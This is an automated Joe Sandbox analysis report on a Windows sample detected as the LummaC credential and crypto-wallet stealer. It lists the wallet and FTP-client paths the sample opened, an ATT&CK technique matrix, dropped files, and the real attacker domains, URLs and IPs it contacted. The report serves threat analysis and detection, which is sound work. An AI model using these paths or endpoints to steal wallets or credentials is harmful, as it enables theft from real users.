Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	13 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	1 Bootkit	12 Process Injection	2 Obfuscated Files or Information	11 Input Capture	25 System Information Discovery	Remote Desktop Protocol	31 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	1 DLL Side-Loading	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	11 Input Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	Login Hook	111 Masquerading	NTDS	321 Security Software Discovery	Distributed Component Object Model	1 Clipboard Data	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	221 Virtualization/Sandbox Evasion	LSA Secrets	3 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Process Injection	Cached Domain Credentials	221 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Bootkit	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	2 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
appFile.exe	14%	Virustotal		Browse
appFile.exe	8%	ReversingLabs	Win32.Trojan.Generic

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\723356\Ted.com	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe	13%	ReversingLabs	Win32.Trojan.Hulk
C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-O7LIQ.tmp\_isetup\_isdecmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-O7LIQ.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-QU1EC.tmp\_isetup\_isdecmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-QU1EC.tmp\_isetup\_setup64.tmp	0%	ReversingLabs

Source	Detection	Scanner	Label
http://localhost/data.svc	0%	Avira URL Cloud	safe
http://crl.usertr	0%	Avira URL Cloud	safe
http://crl.8#	0%	Avira URL Cloud	safe
http://crl.micn	0%	Avira URL Cloud	safe
https://dfgh.online/invoker.php?compName=	0%	Avira URL Cloud	safe
http://crl.microsoft.coX	0%	Avira URL Cloud	safe
http://www.faststone.org/FSCTutorial.htmU	0%	Avira URL Cloud	safe
http://crl.microsyFailed	0%	Avira URL Cloud	safe
http://www.microsoft.A	0%	Avira URL Cloud	safe
https://dfgh.online	0%	Avira URL Cloud	safe
http://www.faststone.org/FSCTutorial.htm	0%	Avira URL Cloud	safe
http://crl.microsy	0%	Avira URL Cloud	safe
https://klipsyzogey.shop/int_clp_sha.txt	100%	Avira URL Cloud	malware
https://www.faststone.org/order.htmU	0%	Avira URL Cloud	safe
https://cegu.shop/8574262446/ph.txt	0%	Avira URL Cloud	safe
http://www.ws-i.org/Profiles/BasicProfile-1.1.html	0%	Avira URL Cloud	safe
http://www.faststone.org/U	0%	Avira URL Cloud	safe
http://crl.usertru	0%	Avira URL Cloud	safe
http://www.faststone.org/	0%	Avira URL Cloud	safe
https://walkyvulgari.click/api	0%	Avira URL Cloud	safe
https://dfgh.online/invoker.php?compName=user-PC	0%	Avira URL Cloud	safe
http://TransportHTTP/1.0GETAccept:	0%	Avira URL Cloud	safe
https://www.faststone.org/order.htm	0%	Avira URL Cloud	safe
https://go.microsRSION_INFO	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
cegu.shop	185.161.251.21	true	false	unknown
klipsyzogey.shop	172.67.214.186	true	false	high
walkyvulgari.click	104.21.94.92	true	true	unknown
mzaisLRxVRUnOUQWdGyHcVQZJ.mzaisLRxVRUnOUQWdGyHcVQZJ	unknown	unknown	false	unknown
dfgh.online	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://klipsyzogey.shop/int_clp_sha.txt	false	Avira URL Cloud: malware	unknown
https://walkyvulgari.click/api	true	Avira URL Cloud: safe	unknown
https://cegu.shop/8574262446/ph.txt	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://localhost/data.svc	appFile.exe	false	Avira URL Cloud: safe	unknown
https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU	S25734VPZD3VQL5I0DLUI2DAUAHZO.exe, 00000012.00000000.2354264175.0000000000C61000.00000020.00000001.01000000.0000000A.sdmp	false		high
http://repository.certum.pl/cscasha2.cer0	S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2369930676.0000000003B70000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2376459580.0000000002B80000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000003.2893489722.0000000000A80000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.21.dr, _isdecmp.dll.19.dr	false		high
http://ocsp.sectigo.com0	S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2369930676.0000000003B70000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2376459580.0000000002B80000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000003.2893489722.0000000000A80000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.21.dr, _isdecmp.dll.19.dr	false		high
http://crl.usertr	S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2376459580.0000000002B80000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.microsoft.co	appFile.exe	false		high
https://contoso.com/License	powershell.exe, 00000010.00000002.2152083123.0000000005DB4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dfgh.online/invoker.php?compName=	powershell.exe, 00000010.00000002.2149016419.0000000002D99000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://tempuri.org/	appFile.exe	false		high
http://www.microsoft.A	appFile.exe	false	Avira URL Cloud: safe	unknown
https://www.autoitscript.com/autoit3/	Ted.com.1.dr, Serious.8.dr	false		high
http://schemas.xmlsoap.org/soap/http	appFile.exe	false		high
http://www.faststone.org/FSCTutorial.htmU	vsv_tool.exe, 00000031.00000000.2877011573.0000000000821000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.2943800444.0000000004D6C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.remobjects.com/ps	S25734VPZD3VQL5I0DLUI2DAUAHZO.exe, 00000012.00000003.2357659279.00000000033FF000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.exe, 00000012.00000003.2360775328.000000007F04B000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000000.2363259351.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000000.2382444621.0000000000E6D000.00000020.00000001.01000000.0000000D.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp.18.dr, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp.20.dr	false		high
http://crt.sectigo.com/Sectig	S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2376459580.0000000002B80000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000003.2893489722.0000000000A80000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crl.microsoft.coX	appFile.exe	false	Avira URL Cloud: safe	unknown
http://subca.ocsp-certum.com01	S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2369930676.0000000003B70000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2376459580.0000000002B80000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000003.2893489722.0000000000A80000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.21.dr, _isdecmp.dll.19.dr	false		high
https://contoso.com/	powershell.exe, 00000010.00000002.2152083123.0000000005DB4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000010.00000002.2152083123.0000000005DB4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.innosetup.com/	S25734VPZD3VQL5I0DLUI2DAUAHZO.exe, 00000012.00000003.2357659279.00000000033FF000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.exe, 00000012.00000003.2360775328.000000007F04B000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000000.2363259351.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000000.2382444621.0000000000E6D000.00000020.00000001.01000000.0000000D.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp.18.dr, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp.20.dr	false		high
http://crl.8#	appFile.exe	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0D	S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2369930676.0000000003B70000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2376459580.0000000002B80000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000003.2893489722.0000000000A80000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.21.dr, _isdecmp.dll.19.dr	false		high
https://dfgh.online	powershell.exe, 00000010.00000002.2150012095.00000000050D2000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://jrsoftware.org0	S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2369930676.0000000003B70000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2376459580.0000000002B80000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000003.2893489722.0000000000A80000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.21.dr, _isdecmp.dll.19.dr	false		high
https://jrsoftware.org/	S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2369930676.0000000003B70000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2376459580.0000000002B80000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000003.2893489722.0000000000A80000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.21.dr, _isdecmp.dll.19.dr	false		high
https://dfgh.online/invoker.php?compname=	powershell.exe, 00000010.00000002.2149643028.0000000003090000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000010.00000002.2150012095.0000000004D51000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.certum.pl/CPS0	S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2369930676.0000000003B70000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2376459580.0000000002B80000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000003.2893489722.0000000000A80000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.21.dr, _isdecmp.dll.19.dr	false		high
http://crl.microsyFailed	appFile.exe	false	Avira URL Cloud: safe	unknown
http://crl.micn	appFile.exe	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000010.00000002.2152083123.0000000005DB4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2376459580.0000000002B80000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000003.2893489722.0000000000A80000.00000004.00001000.00020000.00000000.sdmp	false		high
http://repository.certum.pl/ctnca.cer09	S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2369930676.0000000003B70000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2376459580.0000000002B80000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000003.2893489722.0000000000A80000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.21.dr, _isdecmp.dll.19.dr	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000010.00000002.2150012095.0000000004EA6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.certum.pl/ctnca.crl0k	S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2369930676.0000000003B70000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2376459580.0000000002B80000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000003.2893489722.0000000000A80000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.21.dr, _isdecmp.dll.19.dr	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000010.00000002.2150012095.0000000004EA6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000010.00000002.2150012095.0000000005122000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.faststone.org/FSCTutorial.htm	vsv_tool.exe, 00000031.00000000.2877011573.0000000000821000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.2943800444.0000000004D6C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000010.00000002.2152083123.0000000005DB4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.faststone.org/order.htmU	vsv_tool.exe, 00000031.00000000.2877011573.0000000000821000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.2943800444.0000000004D6C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.microsy	appFile.exe	false	Avira URL Cloud: safe	unknown
http://www.autoitscript.com/autoit3/X	Ted.com, 0000000B.00000000.1730188123.0000000000705000.00000002.00000001.01000000.00000007.sdmp, Ted.com.1.dr, Remarkable.8.dr	false		high
http://www.microsoft.	appFile.exe	false		high
http://nsis.sf.net/NSIS_ErrorError	appFile.exe	false		high
https://www.certum.pl/CPS0	S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2369930676.0000000003B70000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2376459580.0000000002B80000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000003.2893489722.0000000000A80000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.21.dr, _isdecmp.dll.19.dr	false		high
http://www.faststone.org/	vsv_tool.exe, 00000031.00000000.2877011573.0000000000821000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.2943800444.0000000004D6C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.certum.pl/cscasha2.crl0q	S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2376459580.0000000002B80000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000003.2893489722.0000000000A80000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.21.dr, _isdecmp.dll.19.dr	false		high
https://github.com/Pester/Pester	powershell.exe, 00000010.00000002.2150012095.0000000004EA6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.usertru	S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000003.2893489722.0000000000A80000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cscasha2.ocsp-certum.com04	S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2369930676.0000000003B70000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2376459580.0000000002B80000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000003.2893489722.0000000000A80000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.21.dr, _isdecmp.dll.19.dr	false		high
http://www.ws-i.org/Profiles/BasicProfile-1.1.html	appFile.exe	false	Avira URL Cloud: safe	unknown
http://www.faststone.org/U	vsv_tool.exe, 00000031.00000000.2877011573.0000000000821000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.2943800444.0000000004D6C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2369930676.0000000003B70000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2376459580.0000000002B80000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000003.2893489722.0000000000A80000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.21.dr, _isdecmp.dll.19.dr	false		high
http://crl.microsof	appFile.exe	false		high
https://dfgh.online/invoker.php?compName=user-PC	powershell.exe, 00000010.00000002.2150012095.00000000050D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2150012095.0000000004EA6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2369930676.0000000003B70000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2376459580.0000000002B80000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000003.2893489722.0000000000A80000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.21.dr, _isdecmp.dll.19.dr	false		high
https://go.microsRSION_INFO	appFile.exe	false	Avira URL Cloud: safe	unknown
https://www.faststone.org/order.htm	vsv_tool.exe, 00000031.00000000.2877011573.0000000000821000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.2943800444.0000000004D6C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://TransportHTTP/1.0GETAccept:	appFile.exe	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore6lBtq	powershell.exe, 00000010.00000002.2150012095.0000000004D51000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.micros	appFile.exe	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.161.251.21	cegu.shop	United Kingdom	5089	NTLGB	false
172.67.214.186	klipsyzogey.shop	United States	13335	CLOUDFLARENETUS	false
104.21.94.92	walkyvulgari.click	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581281
Start date and time:	2024-12-27 10:20:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	50
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	appFile.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@82/35@6/3
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 100% Number of executed functions: 44 Number of non-executed functions: 45
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 4.175.87.197, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7032 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:21:03	API Interceptor	1x Sleep call for process: appFile.exe modified
04:21:28	API Interceptor	9x Sleep call for process: Ted.com modified
04:21:49	API Interceptor	7x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
185.161.251.21	installer_1.05_36.4.zip	Get hash	malicious	NetSupport RAT, LummaC, LummaC Stealer	Browse
172.67.214.186	installer_1.05_36.4.zip	Get hash	malicious	NetSupport RAT, LummaC, LummaC Stealer	Browse
	Set-up.exe	Get hash	malicious	LummaC	Browse
	setup.exe	Get hash	malicious	LummaC	Browse
	SET_UP.exe	Get hash	malicious	LummaC	Browse
	https://os50-card.ru/50	Get hash	malicious	Unknown	Browse
104.21.94.92	ciwa.mp4.hta	Get hash	malicious	LummaC, PureLog Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cegu.shop	installer_1.05_36.4.zip	Get hash	malicious	NetSupport RAT, LummaC, LummaC Stealer	Browse	185.161.251.21
klipsyzogey.shop	installer_1.05_36.4.zip	Get hash	malicious	NetSupport RAT, LummaC, LummaC Stealer	Browse	172.67.214.186
	Set-up.exe	Get hash	malicious	LummaC	Browse	172.67.214.186
	setup.exe	Get hash	malicious	LummaC	Browse	172.67.214.186
	SET_UP.exe	Get hash	malicious	LummaC	Browse	172.67.214.186
walkyvulgari.click	ciwa.mp4.hta	Get hash	malicious	LummaC, PureLog Stealer	Browse	104.21.94.92

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	FloydMounts.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.25.41
	5uVReRlvME.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Remcos, Stealc	Browse	172.67.165.185
	0A7XTINw3R.exe	Get hash	malicious	Unknown	Browse	104.26.8.44
	RDb082EApV.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	K9esyY0r4G.lnk	Get hash	malicious	Unknown	Browse	104.21.67.124
